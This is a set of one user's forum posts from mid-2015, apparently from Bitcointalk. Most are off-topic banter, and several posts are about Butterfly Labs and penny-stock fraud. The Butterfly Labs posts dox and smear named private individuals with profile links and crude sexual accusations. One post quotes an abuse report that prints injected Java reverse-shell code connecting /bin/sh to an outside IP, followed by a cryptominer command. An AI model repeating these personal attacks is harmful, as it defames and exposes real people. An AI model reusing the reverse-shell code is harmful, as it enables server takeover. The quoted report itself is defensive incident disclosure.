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12981  Economy / Service Discussion / Re: BFL fucked us over again (redux) on: July 08, 2015, 10:54:52 PM
This Marcela Vega Chang is such a lyin' piece of shit...

https://www.linkedin.com/in/marcelavegachang



http://web.archive.org/web/20070328195530/http://www.meilanstudio.com/



That's what Mei Lan Studio consisted of for almost five years - basically a Godaddy placeholder. Hell, I doubt that not even Marcela revisited the site after she built the piece o' shit Web presence.
12982  Other / Off-topic / Re: How to oil a squeaky street sign which you cant reach? on: July 08, 2015, 10:26:55 PM
Just stumbled across a squeaky sign: https://www.youtube.com/watch?v=SKVcQnyEIT8 (very beginning of video)
12983  Bitcoin / Hardware / Re: HashFast announces specs for new ASIC: 400GH/s on: July 08, 2015, 09:13:41 PM
Looks like Cockmeier has a new gig: https://www.linkedin.com/in/abramkottmeier

12984  Economy / Service Discussion / Re: BFL fucked us over again (redux) on: July 08, 2015, 08:47:24 PM
Why is it that Costa Rica seems to be such a HOT SPOT for scam behavior?  Wasn't AMT based out of there?

H@shKraker

If you're talkin' 'bout Joshua Zipkin of AMT, he's in Bulgaria. Here's his EPIC talk presentation: https://www.youtube.com/watch?v=z_UHaHjqW1c. Compare that to this EPIC talk presentation: https://www.youtube.com/watch?v=OZLaEfcVXCA&feature=youtu.be&t=10248. See if you can catch the Freudian slip during the introduction prior to the speaker struggling with how to turn on the microphone.
12985  Other / Off-topic / Re: The country you want to live in on: July 08, 2015, 08:24:58 PM
The south of Portugal or Spain, nice beaches and good winds for windsurfing.
Plus only a few ours flight from Amsterdam.

Tell us more 'bout 'em Amsterdam "ours" flights.

<humor at your expense>
12986  Other / Off-topic / Re: What happens when 1 EUR = 1 DLR? on: July 08, 2015, 08:21:07 PM



unfortunately the morons in the EU do their best to reach that level.

In Amsterdam, they're awaiting the day to celebrate Omgekeerde Pariteit Dag.
12987  Other / Off-topic / Re: How to oil a squeaky street sign which you cant reach? on: July 08, 2015, 07:59:42 PM
Try a can of WD40. This thing is great for squeaky hinges and you can spray it so you don't have to be precise. If it's really far take a stick and strap one to the side of the can with tape and use a piece of thread or tape to make a loop around the top that you can pull to start spraying.

Im not sure i would be able to push down the lid of a WD40 can to make it start spraying.

So far my best idea is this...

I'm going to attach about 30 straws together using electrical tape, then im going to tape the straws to a broom handle to keep the whole thing steady but leaving 1 straw length out either side.  Then im going to dip 1 straw end in oil and hold the other end.  Then aim it towards squeaky sign hinge and blow or let go.

If i try it with just a cup of oil i'll probably cover the sign, its a shop sign i dont wanna get oil all over it.

Film it, putting the attempt on YouTube. After several million views, you'll make bank. Ask your viewers and subscribers to submit their suggest as to how oil the shop sign given the parameters. Each week, pick one of the suggestions and follow through, filming and uploading the best attempt as well.

End results: How I made millions of dollars off a squeaky shop sign outside my window.

Prior to the day the shop owner decides to change the sign, have millions of followers petition him to not do it.

If he follows through, sue his ass for lost of income. Meanwhile, request suggestions from your YouTube subscribers how to QUICKLY make the new signage squeak, filming those attempts as well.

You'll forever be known as the Squeaky Sign Guy around the world. Then, you'll be off to faraway lands, away from the original squeaky sign helping others, for a fee, of course, to rid the noise of a squeaky sign having similar parameters as once your own that keeps them awake at night.

Bottom line, what others in this thread see as a dude with a squeaky sign problem, I see a potential millionaire. Your call!

12988  Bitcoin / Bitcoin Discussion / Re: Hacking Team hacked and exposed. They sold code to steal Bitcoins! on: July 08, 2015, 09:12:27 AM
The guy behind the hack: https://twitter.com/GammaGroupPR

Say it ain't so, Phineas!
12989  Economy / Service Discussion / Re: BFL fucked us over again (redux) on: July 08, 2015, 07:26:03 AM
From the desk of What Fuckin' Dots Is Bruno Tryin' To Connect Now?,

Trading of illegal goods is forbidden on this forum.

Good question. Who hosts it?

Whois shows that the server is hosted by Slicehost, and the domain is registered through Anonymous Speech. The DNS is hosted by ZoneEdit.

Slicehost now redirects to http://www.rackspace.com/cloud

http://web.archive.org/web/20060823045526/http://www.slicehost.com/contact



Note: 4579 Laclede Ave.

https://start.cortera.com/company/research/l3r6lxj1n/marketing-applications-international/



http://web.archive.org/web/20090519003432/http://www.freepokerpoint.com/corporate.aspx



https://www.linkedin.com/in/marcelavegachang



Who is https://www.linkedin.com/in/marcelavegachang ?



Where else did Marcela Vega Chang work?



Both entities owned by Sonny Vleisides back during the days, and after the demise of Laissez Faire City in Costa Rica.

Besides this forum, what other sites were hacked while using SliceHost?

Bitcoinica was also in Rackspace, right?

Well, this just in http://www.rackspace.com/knowledge_center/content/slicehost-forum-archive-migration-and-conversion

Rackspace's slicehost forum user DB compromised. They are a bit unclear on how and what exactly was compromised, and why do they know it.

This shouldn't in theory affect rackspace users but is a fair warning on not reusing passwords and also not having your passwords anywhere near "the cloud"...

coinex banned my account and steal my money

they sayed i used hacked server for mining lol

i rent me a mining rig and thats all
This was a complaint about your account.
-----
From: Tod Harter <tharter@whitsendsolutions.com>
Date: Thu, Jan 23, 2014 at 12:50 PM
Subject: Acceptable use violation
To: abuse@rackspace.com, Nathan Simpson <nsimpson@whitsendsolutions.com>,
Chris Ranni <cranni@whitsendsolutions.com>

Dear Sirs,

I have to report to you that two of our JBoss servers were exploited today
using a Tomcat deployer hack. Specifically the following exploit
http://blog.rimuhosting.com/2011/03/17/jboss-exploits-running-python/

The following code was injected:
{
Socket socket = new Socket( "
50.57.145.165", 8081 );
Process process =
Runtime.getRuntime().exec( "/bin/sh" );
( new StreamConnector(
process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector(
socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}

Note the IP address of the resulting deployment is a server in a network
address block delegated to Rackspace:

#
# The following results may also be obtained via:
# http://whois.arin.net/rest/nets;q=50.57.145.165?showDetails=true&showARIN=false&ext=netref2
#

Rackspace Hosting RACKS-8-NET-4 (NET-50-56-0-0-1) 50.56.0.0 - 50.57.255.255
Slicehost RSPC-654321664654 (NET-50-57-128-0-1) 50.57.128.0 - 50.57.159.255

Resulting in an unauthorized deployment as follows:
marx 3259 0.0 0.0 5164 1300 ? S Jan22 0:00 /bin/sh
/opt/marx/jboss-6.0.0.Final-marx/bin/run.sh -c default -b 0.0.0.0
marx 3309 2.3 36.6 1819604 644140 ? Sl Jan22 29:44 \_
/opt/marx/jdk1.7.0_45//bin/java -server -XX:MaxPermSize=256m -Xms256m
-Xmx1284m -Dsun.rmi.dgc.client.gcInterval=3600000
-Dsun.rmi.dgc.server.gcInterval=3600000
marx 12389 0.0 0.0 5160 1256 ? S 17:41 0:00 \_
/bin/sh
marx 12412 194 0.0 39612 1192 ? Sl 17:42 83:23
\_ ./javac -a scrypt -o stratum+tcp://stratum.coinex.pw:9933 -u nirgends2
-p 123456

This is clearly a bitcoin mining application, crudely disguised.

The relevant log record from JBoss being:

2014-01-23 17:41:11,814 INFO [org.jboss.deployment.MainDeployer]
(http-0.0.0.0-8080-6) deploy, url=http://50.57.145.165:60000/MDSerqWz.war
2014-01-23 17:41:12,030 INFO
[org.jboss.web.tomcat.service.deployers.TomcatDeployment]
(http-0.0.0.0-8080-6) deploy, ctxPath=/MDSerqWz

I'm guessing the server at 50.57.145.165 has already been compromised in
some way, but I would only be guessing. I'd appreciate it if you guys would
take a look and notify whoever is running that machine that they'll need to
clean it up! We will patch our systems as well.

Thanks

Sincerely,
Tod G. Harter
Managing Partner
Whit's End Solutions, LLP



Care to guess who at BFL is a master hacker?

I'll give you a clue:



There you have it, Sonny's main squeeze from his Costa Rican days living in Italy fucking his brother, Gabriel, after work from Hotel Janus while awaiting Sonny's release from prison, then once he's back in the states awaiting his now probation, Marcela is employed at another gaming outfit that has a address located where the servers for this forum were located, along with some entities that were also hacked or had issues prior to SliceHost being picked up my RackSpace, then later Marcela's employed by BFL getting paid big bucks from moneys stolen for doing practically nothing while sucking every dick in KC before going home to BFL-cum-Sonny's BTC-House to suck his dick with sore lips.

https://www.facebook.com/photo.php?fbid=101429416537533&set=pb.100000114241527.-2207520000.1436343976.&type=3&theater



When was the above picture taken? I'm goin' guess in 2002 when Marcela Vega Chang worked for Software Solutions S.A. How do I know that?

https://www.facebook.com/photo.php?fbid=101431066537368&set=pb.100000114241527.-2207520000.1436343976.&type=3&theater

12990  Economy / Service Discussion / Re: BFL fucked us over again (redux) on: July 08, 2015, 07:10:00 AM

https://www.linkedin.com/pub/sonny-vleisides/87/648/65

As the ship sinks, Sonny's passing out recommendations to the first [Neanderthal] mate with 7 moles.

Sonny Vleisides, you forgot to mention about the time David McClain (Dave McClain) went to the parking lot during his break after putting in a long morning due to coming in early and falling on his head while performing cartwheels to entertain the chiropractic employees across the way just getting to work. Back at his desk facing his computer and still seeing stars, he proceeded to refund a butch of customers that weren't warranted refunds. Upon recognizing his error, he immediately sought help from some other in the office more brighter than he and his moles combined, offering to pay this person overtime working nights for about a week or so to get a handle on the issue before you find out what happened.

Sonny, you know what probably scares you the most about this post? It's that what I relay in this thread or elsewhere pertaining to BFL thanks to my discoveries is only ~20th of what I've shared with some other [off-line] entities. I come here and post mainly mundane shit and humor to give the skeleton crew at BFL something to read in between the time they're doing nothing.

Needless to say, me, Mr. So Isolate, is, has been, and will continue to fuck with BFL until ALL ill-gotten moneys has been returned to their rightful owners... or, when pigs fly, whichever happens first.

My next post will be about some gal fuckin' your brother in Italy while awaiting your release.
12991  Economy / Service Announcements / Re: New exchange, coinqx -- http://coinqx.com on: July 08, 2015, 02:25:18 AM
Apologies for quoting it all and the formatting being slightly skewed, hence the link: http://dumps37.rssing.com/chan-14522482/all_p4.html

Quote
01/13/14--05:29: BITCon: BITCF is Destined to Defraud
Written by Janice Shell

January 14, 2013: We note that today Grand Pacaraima Gold Corp.'s symbol was changed by FINRA to BITCF, representing the company's status as a foreign issuer. The company also announced yesterday that it was changing its name to "First Bitcoin Capital Corp." We also note that schemer, "Professor Al", modified his iReport on CNN after we pointed out the fabrications in his story. We've saved the original version that he published and that can be accessed by clicking here.

January 13, 2014: On Friday, 10 January, a long-dormant penny stock called Grand Pacaraima Gold Corp. rocked Pennyland, rising an astonishing 2442.86 percent to close at $0.089 on volume of 8.4 million shares.  Dead junior miners that never mined anything but investors' pockets don't often generate much excitement, but this was an exceptional case.  In December, the company had submitted a corporate action request to FINRA for a ticker change, and that change became effective on 27 December.  GPGD, as it once was, emerged as BITC.


BITC Chart

The new ticker went largely unnoticed until BITC changed the link to its website on OTCMarkets' Company Info page.  The old site, which had so little traffic it hadn't been crawled by Web Archive in years, became a new single page rudimentary placeholder for a bitcoin exchange.

The buzz generated by BITC's performance on Friday continued throughout the weekend.  The cherry on top, at least for penny players, was a "story" that appeared on Sunday at CNN's iReport site.  It certainly caught our attention here at Pumps and Dumps.

In it, a person calling himself "Professor Al," and claiming to be an "MBA with more than 12 years of experience as Equity Research Analyst and analyzing of phenomenal stock moves"gushed that he'd not seen such a "solid move" since the Volkswagen short cover in 2009.  The Professor went on to say that BITC's exchange would open for business on 1 February, and that "BITC executives have amassed a sizable fortune of Bitcoins, an estimated 550,000 BTC to be exact." Really?  The company itself has released no such information.

Outrageously, our friend Al confides that "it has not been reported who they have teamed up with to create this exchange," and then goes on to tell his readers that those august personages are none other than Cameron and Tyler Winklevoss, the twins made famous by the movie, "The Social Network", which was about the creation of Facebook.  Noting that the twins are planning to list a bitcoin ETF, he lamely explains that they "wanted to create more liquidity and lessen the volatility." Come again?

The Winklevoss brothers are enthusiastic about the future of bitcoin, and have indeed filed an initial registration statement with the SEC on Form S-1.  It has not yet been deemed effective.  Nowhere in it is Grand Pacaraima, or anyone connected to it, mentioned.  Even the twins don't own 550,000 bitcoins. Nor does the FBI, which is estimated to be the biggest U.S. holder, at 144,000 bitcoina.

It should be noted that although iReport is owned and operated by CNN, its contributors are not CNN reporters.  Members of the general public can create accounts and send in any story they believe may be of interest, much like Seeking Alpha is available for public contributions  Those considered to have particular merit may be vetted by the network; that will be noted on the page on which the story appears.  This BITC story was not vetted.



"Professor Al" has attached a photo to his iReport profile.  The same photo appears in several stories about Vishay Shah, managing director of Deutsche Bank's US-based alternative energy and semi cap equipment divisions.  Shah, unlike the soi-disant professor, knows how to write, and how to spell. Clearly, our anonymous iReporter filched the picture in a misguided attempt to lend credibility to himself and his BITC pump job.

Interestingly, late Sunday night someone calling himself "BITC" added a comment to the iReport piece. Among other things, the human BITC said:  "It is very sad that this kind of unverified information makes its way to such a respected site as CNN.com.  The author calling himself Professor Al, of this article has NEVER contacted BITC, nor interviewed anyone in BITC, and he was NOT hired to write on the company's behalf…."

Just in case that iReport disappears in the near future, a copy has been preserved here.

Bitcoin

Bitcoin is what's known as a "crypto-currency." It was introduced in 2009 by a developer calling himself Satoshi Nakamoto, and uses cryptography to control the creation and transfer of money. Pumps and Dumps does not specialize in cryptography, and will therefore not attempt to explain the genesis or operation of the system.  Suffice it to say that participants clever with code can "mint" bitcoin by "mining" them.  Bitcoin themselves may be acquired by mining, or in exchange for products or services.

Worldwide, the authorities are wary, fearing illicit use of the system.  China has recently taken strong measures limiting use, and last year the FBI shut down the Silk Road online black market, which was the source of the 144,000 bitcoins the agency now controls.  Nonetheless, some merchants in the U.S. and elsewhere are embracing the new technology.  Overstock.com now offers a bitcoin payment option, and Zynga is testing a similar system.  It was recently reported that some marijuana collectives, frustrated by the banking industry's refusal to allow them to open accounts, may turn to bitcoin.  Given the recent mainstream media-fueled run of penny pot stocks, it isn't surprising that a penny bitcoin operation would pop up to satisfy traders' need for a new big runner.

There are, of course, plenty of bitcoin exchanges, all of them run by people more knowledgeable and sophisticated than those associated with BITC.  One example is Cryptsy; another is Mt. Gox.  Even respectable Kitco offers exchange rates.

Grand Pacaraima

It seems bitcoin is also popular with dentists.  As it happens, Grand Pacaraima is controlled by Greg Rubin, a cosmetic DDS who said in a press release he issued last week:  "I want to be known as the dentist who accepts Bitcoin and I'm working on a website that's called www.DentistBitcoin.com… that will provide the latest news and developments in the Bitcoin industry as well as the dentistry field."


Greg Rubin
Rubin, a native of Israel who's lived in California since 1991, operates the Calabasas Dental Institute near Los Angeles.  His professional website features some impressive, though rather off-putting, "before and after" photos, and some heartwarming reviews by patients.  The good doctor looks pleasant enough, but an examination of BITC's sordid past suggests he knows as much about dirty penny deals as he does about one of his specialities, halitosis.

What is now Grand Pacaraima began life as a Nevada company called United Development International, incorporated on 7 November 1989.  United was purportedly in the gold and diamond mining business, and was controlled by Robert Doherty.  A public company, it traded on the Pink Sheets under the symbol UDVE.  On 30 June 2005, it announced that it had sold UDVE's assets to a "Philippine consortium" called Mindenao Gold Mining Corp., which would trade as MDGM.  The new company's Philippine operations were managed by Nestor C. Buenaflor.

Buenaflor's name is familiar to long-time penny addicts.  In early 2006, he was named as vice president for business development and marketing for Paychest, Inc.  Curiously, the OTCMarkets filing in which that announcement was made no longer works.  Just as well for Buenaflor:  Paychest was the successor company to Mellon Financial, a deplorable scam run by the notorious Mario Pino.  At the time of Buenaflor's apparently brief involvement with PYCT, Pino was still the company's only beneficial owner.


Mario Pino
Pino, already into cocaine, later became a crack addict, and was convicted on drug charges; he was released in May 2010.  In 2008, he was sued by the SEC for his role in the hijacking of the Bancorp International (BCIT) shell.

At that time, Pino was also associated with Elvira Gamboa, better known as Pearlasia, once president of the Dominion of Melchizedek, a pretend country that does real business in bank and penny stock fraud.  Like Buenaflor, Gamboa is from the Philippines.  Pearl is a larger-than-life character who moved to the U.S. in the early 1980s.  She soon married an American.  The union apparently lasted no more than 10 years.  Our heroine then met Mark Pedley, son of the founder of the Dominion.  Pedley, also known by "Branch Vinedresser" and a number of other aliases, had done prison time in the '80s.  Upon his release, he became more serious about the Dominion and its peculiar, often zany, brand of mystic religion.


David Korem
as Branch Vinedresser
Pearl and Pedley, who by then called himself Tzemach David Netzer Korem most of the time, naturally fell in love.  They had a child together, and named him Hazemach (no last name; when he needs one, he uses "Haze Mach").  Pearl was to become a significant influence in Korem's life.  She molded the no-talent con artist into a stock scammer and transfer agent.

Pearl was introduced to the fine art of penny stock fraud by none other than Sandy Winick.  Winick is a Canadian who's lived in Toronto or Vancouver most of his life.  In the late 90s, middle-aged and unsuccessful, he hit upon the stock market as a better way to make money than he'd yet found.  He bought a shell company called HeathCore Medical Solutions, and renamed it Adatom.com.  Adatom eventually became Blackout Media Corp. (BKMP).  Along the way, Winick spun 59 new entities off BKMP.  He gave one of them to Pearlasia; it later became her flagship scam, Pearl Asian Mining Industries Inc. (PAIM), which morphed into ZNext Mining Corp (ZNXT).  She also served briefly as CEO of a few of the other spinoffs, and received free stock in a number of them.


Pearlasia
Nothing lasts forever.  The penny stock empire created by Winick, Pearlasia, and Korem eventually collapsed.  Winick fled to Thailand, where he continued his fraud.  Pearl was sued by the SEC in 2009. She was sanctioned and ordered to pay a hefty monetary penalty, but declined to do so.  Korem was charged with criminal fraud by the DOJ in 2010, and pled guilty.  He was sentenced to two years' incarceration in a Florida federal prison.  Winick was finally brought down in 2013, in a spectacular international effort that resulted in the indictment of nine individuals, all of whom have been captured. Winick and two of his associates are currently cooling their heels in New York City correctional facilities, where they will remain until trial.  If convicted, Winick will spend the rest of his life behind bars.  The alleged perpetrators are said to have defrauded investors of more than $140 million.  First, they used boiler room tactics to con their targets into buying junk; then, when their victims realized they'd been scammed, the perps set up another boiler room to call them offering to "help" recover their lost funds.  Needless to say, that help--which availed nothing--involved the payment of a fee.


Sandy Winick
These are seriously bad people, and they were very much involved with Grand Pacaraima.

Back to BITC

Winick typically moved his companies around, changing their corporate domicile every few years. Pearl did the same.  Both of them also liked to use transfer agents controlled by them.  That made the issuance of vast amounts of unregistered securities so very much easier.

Winick's first transfer agency was First Public Securities Transfer Corp.  It was formed by him in Oregon in July 2002.  He and Pearl installed David Korem as manager.  Though OTCMarkets only shows a few companies listing First Public as their TA, once that list was much longer.  Korem handled transfers for all of Pearl's companies, and most of Winick's, until Winick founded a new agency, American Heritage, in Ontario, and put Kolt Curry in charge.  Curry is one of those recently arrested and jailed by the DOJ.

First Public was Grand Pacaraima's transfer agent until as late as 2010.  It is not easy to get an idea of what went on with Gran Pacaraima over the years.  When it took over the United Development shell, its corporate domicile was changed to Oregon on 31 May.  On 24 June of the same year, it merged with Mindenao Gold Mining, with Mindenao emerging as the surviving entity.  On 14 May 2007, it was incorporated as Grand Pacaraima Gold Ltd in London; it was dissolved there early the following year.

But according to the Initial Company Information and Disclosure Statement submitted to OTCMarkets on 22 February 2010, Grand Pacaraima was formed in British Columbia on 6 February 2006.  None of this makes much sense.  It is difficult to see how the transition from Mindenao to Grand Pacariama was accomplished, but the people behind the company are not keen on providing detail.  BITC has only made seven submissions to OTCMarkets, all from 2010 and one of them hidden, and has never reported to the SEC.

Message board posts from 2006 about what is now BITC are the only source of available information for that time period, and they suggest that in that year shareholders didn't even know who the company's CEO was.  Several tried to ask, but were rebuffed.  By early 2007, however, Greg Rubin the cosmetic dentist had come on board.  The corporate records for Grand Pacaraima in the U.K. show him as a director, along with Abdoumalik Abdoulladjanov.  Simon Rubinov, who seems to be Israeli, was secretary.  He evidently goes by Rubin sometimes, and Greg Rubin is a member of his Google+ circle.  It seems possible that the two are related.

By November 2007, Greg Rubin's phone number was listed as the contact for Grand Pacaraima in press releases.  How did he come to be involved?  Rubin has been a director of two companies having "Central Asia" as part of their names:  Central Asia Franchise Holdings and Central Asia Construction and Development.  The second of these--alternatively written Central Asia Development & Construction Co.--perhaps even Rubin can no longer keep track of his exceedingly numerous and complicated penny stock dealings--changed its name to Amerossi Energy Corp in 2004, and then to Nadir Energy & Mining Corp. in 2008.  The dentist played a role in all three.  Amerossi was--you guessed it--a Sandy Winick company.  The chairman of Amerossi in 2008 was Rubin's buddy Abdoumalik Abdoulladjanov, who had once been premier of Tajikistan.


Abdoumalik Abdoulladjanov
In that same year, Amerossi planned to acquire certain mineral exploration interests in British Columbia from Worldwide Graphite Producers LTD.  Amerossi also announced its intention to purchase a controlling interest in Grand Pacaraima Gold.

That never happened, and Amerossi became Nadir (NENY) instead. It was well named:  it and all the other companies discussed here, with the exception of BITC, have either had their registration revoked or are trading at $0.0001.  None ever really did anything but issue press releases promising exciting new ventures that failed to get off the ground.  They did do frequent reverse splits, however, and the histories of some--especially PAIM / ZNXT--are marked by inexplicable stock issuances.

BITC and Modern Energy

On 6 November 2007, Grand Pacaraima announced the purchase of oil and gas interests from Modern Energy Corporation (MDRG).  MDRG shareholders would receive a special dividend of 100 shares of GPGD for every common share of MDRG they owned.  That sounded exciting, but proved in the end to be a giant headache.  The transaction entailed a large reverse split of Modern's stock, to be followed by a forward split  The execution of these corporate actions was flawed to the point of illegality.

Scottrade, ETrade, and others found themselves facing forced buy-ins, and sued.  They were granted an injunction in federal court, but Scottrade was not entirely satisfied, and pursued the case for several years. Scottrade's amended complaint explains the situation in detail.  The transfer agent who presided over this mess was David Korem/Korman of First Public; he and the firm were Modern Energy's co-defendants in the case.  The court found that Pedley and a co-conspirator, Mike Iaone, were culpable for failing to return certain stock certificates to DTC.  DTC applied a global lock to Modern's securities.  Around the same time, Iaone was indicted on charges of income tax evasion and fraud.

In an earlier incarnation, MDRG had been Riverbank Investment Corp (RRBK).  One of RRBK's beneficial owners was Paychest Inc., Mellon Research's successor company.  Mellon, of course, was created by Mario Pino.

Where was FINRA?

Things did not improve for Grand Pacaraima.  In 2010, it issued a couple of press releases about an improbable plan to buy a resort proper in Timor Leste (formerly East Timor).  That deal involved a person called Yupi Haryanto, an Indonesian said by some to be head of a money laundering ring. Whatever Haryanto may or may not be, the project fell through, as all projects involving this company had.

Around that time, Rubin—in a departure for him—helped broker a transaction for Vortex Resources Group, a fully reporting company. As a result, Vortex became Yasheng Eco-Trade Corp. Rubin was appointed to the board of directors. He resigned from the board in April 2010, “to pursue other opportunities.” Yasheng Eco-Trade changed its name to just plain Eco-Trade (BOPT) in December of that year, a dirty William Lieberman scheme that we profiled just as a Pump & Dump campaign was beginning on that ticker. Maybe it was coincidence, maybe it was fate, but in April 2012 it was halted for more than 10 days by FINRA. The organization cited potential problems with clearance and settlement, which presumably had been caused by a promotions in which Stock Market Authority, and presumably Francisco Abellan, had participated. It now trades infrequently on the Grey Market.

In 2012, a Texas energy company called Embassy Oil Development Corporation planned a reverse merger with Grand Pacaraima, but as usual, the transaction was not consummated.

It is difficult to see any reason why this new bitcoin project should succeed.  The history of the BITC shell--and a shell is what it's always been--is about bad actors and bad acts.  A more perversely distinguished penny stock rogues' gallery would be hard to assemble.

As early as 2006, the British Columbia Securities Commission imposed a cease trade order on the stock in connection with the Mindenao Gold merger.  That CTO is still in effect today.  On Friday, OTCMarkets demoted BITC to caveat emptor status.

Grand Pacaraima's ugly past easy to uncover.  So why, when a corporate action request was filed with FINRA for a ticker change from GPGD to BITC, did that request sail through?  It should have been obvious to whoever handled the matter that the company had been completely inactive for some time. A little effort would have turned up the involvement of Winick and, even more importantly, David Korem/Korman and First Public Securities Transfer.  A dishonest--in Korem's case, criminal--TA presents a clear danger to shareholders and to all market participants.  Korem worked for GPGD for years, only leaving his position when the Scottrade case and his subsequent arrest put First Public out of business.

Although Rule 6490 authorizes FINRA to demand additional documentation from companies making corporate action requests, it seems that in this case that did not happen.

At this moment, we don't even know for sure who the transfer agent is.  This matter only came to our attention late Friday; there's been no time to try to locate the TA.  The public deserves more information than it has about Grand Pacaraima.  At the open, the stock will do what it will do.  A tremendous unofficial pump is underway, thanks to the highly suspicious iReport, and nobody seems to be minding the store.

Before the bell on 13 January, the company announced, to no one's surprise, that it plans to chance its name to First Bitcoin Capital Corp, "as it prepares to enter booming BITCOIN markets." It added that it plans to file an annual report with OTCMarkets that will be "similar" to the 2010 financials, which is not encouraging.

The spokesperson quoted was "S. Rubin," identified as chairman of the board.  Presumably the "S" stands for Simon.  In a final comment, Rubin dissociated BITC from Sunday night's iReport:

"The company denounces the rumors spreading about its executives owning over 500,000 bit coins and  wishes to make it clear that there is no connection between BITC and the Winklevoss twins."
12992  Economy / Service Discussion / Re: BFL fucked us over again (redux) on: July 08, 2015, 01:53:40 AM
From the desk of Meet the Pinchins,

https://www.pinterest.com/btcpoolparty/mining-pool/



Jody Pinchin's FB page: https://www.facebook.com/jody.pinchin.

http://investorshub.advfn.com/boards/read_msg.aspx?message_id=37103372

Quote
See the Facts on Jon Fullenkamp here:

http://victory-energy-vyey.com/Unlawful.html

Unfortunately, the SEC has them but they have done NOTHING YET....

'Mr. Tim Pinchin is a criminal who recently plead guilty to separate Pump & Dump activities in Canada and the USA. (a) Mr. Pinchin was introduced by Victory CEO Jon Fullenkamp to two Board members, Rick May & Perry Mansell. Mr. Fullenkamp told the Board Members that the meeting needed to be away from everyone because of some "activities" by Mr. Pinchin. Mr. Fullenkamp also told the Board Members that Mr. Pinchin was working with Mr. Fullenkamp. Mr. Pinchin expressed at both meetings that "he and Mr. Fullenkamp had a plan to quickly boost the price per share, making everyone money". (b) At a later meeting, Mr. Pinchin and Jon Fullenkamp met secretly with Board Member Perry Mansell to talk Mr. Mansell into voting for Mr. Fullenkamp's expensive employee contract (quote from Perry Mansell). Mr. Pinchin, by agreement with both security agencies, CANNOT associate with Mr. Fullenkamp. Mr. Fullenkamp cannot associate with Mr. Pinchin.


Board Members Rick May and Perry Mansell signed a Board Resolution on February 13, 2008, at Mr. Fullenkamp's strong request, to immediately provide Syndication Capital LLC, Harrisburg, Pennsylvania, 4,275,000 Victory Energy free market shares at a public sale price somewhere between $0.10 and $0.40 per share, "as a financial inducement to Syndication Capital to invest in Victory Energy". There was NO investment by Syndication into Victory! Pennsylvania State records show the corporation address and officer of Jody Pinchin, 14065 A Magnon Drive, Del Mar, CA 92014.
Guess who's pockets these funds went into an SEC Rule lists this as an illegal activity.
12993  Other / Off-topic / Re: Images of Uniquely Designed Homes on: July 08, 2015, 12:52:58 AM
12994  Other / Off-topic / Re: How to oil a squeaky street sign which you cant reach? on: July 08, 2015, 12:49:06 AM

"So far we got it to delivery several drops of oil, but our plans are to scale up from there."
12995  Other / Off-topic / Images of Uniquely Designed Homes on: July 07, 2015, 11:14:00 PM
12996  Economy / Service Discussion / Re: BFL fucked us over again (redux) on: July 07, 2015, 10:56:57 PM
Fresh, from the desk of You Gotta Be Jerkin' Me,

http://www.dogecoin.link/item/bitcoin-jerky/



https://who.godaddy.com/whoisstd.aspx?domain=butterflylabs.com&prog_id=GoDaddy&k=EWHpdopY9FyAKejGAbvE%20%2fRAvIxuiBvmYx8OP%2f4%20cE1dxJF5UaS%20o4vqro%207uwGziTJ3aNx1xEE%3d



http://domainbigdata.com/lathamandphillips.com



http://domainbigdata.com/name/craig%20lawson



To recap:

http://bitcoinjerky.com/ is located in the exact same office that BTCPoolParty is located in Las Vegas.

butterflylabs.com was created at exactly 2009-08-16T19:21:08Z.

lathamandphillips.com was also created at exactly 2009-08-16T19:21:08Z.

lathamandphillips.com is owned by a Craig Lawson.

Craig Lawson also owns beefjerkyfranchises.com.

What are the odds?
12997  Other / Off-topic / Re: Stunning Pics over the World ! on: July 07, 2015, 07:58:00 PM
Yes, it's real!: https://sgbmag.files.wordpress.com/2012/05/antelope-canyon.jpg

12998  Other / Off-topic / Re: EPIC | FAIL | FUNNY | THREADS AND POSTS THAT CAN'T BE IGNORED!!! on: July 07, 2015, 07:30:25 PM
this https://bitcointalk.org/index.php?topic=82509.0

one of the replies really made me laugh. (sorry, gleb)  Grin

Look, you mother fuckers. This shit ain't funny. I can't believe I allowed myself to associate with all you cocksuckers, including you, perverted BadBear. To think that I opened up to you all, thinking you guys were my friends. This thread is nothing short of a hate thread, and will be reported to the proper authority once he gets out of French 101 later today. At the moment, I taking a big ass dump, and to show you guys what I really think about you, I'm now reaching into the toilet and grabbing a handful of shit, and now I'm rubbing in on all over this laptop...

Okay, now that was fun. Let's lock the thread.  Grin
12999  Other / Off-topic / Oxymorons on: July 07, 2015, 07:23:22 PM
"Please read the rules carefully of our laissez faire city, Galt's Gulch (insert territory)."
13000  Other / Off-topic / Re: Answer the question above with a question. on: July 07, 2015, 07:18:20 PM

Are you tryin' to make me recall the last time I spooned where she pulled out a knife?

am I the only one who couldn't make sense of that question? and who's she?

i wonder why she pulled out a knife ?


Could it be because she collects big-6cm souvenirs?
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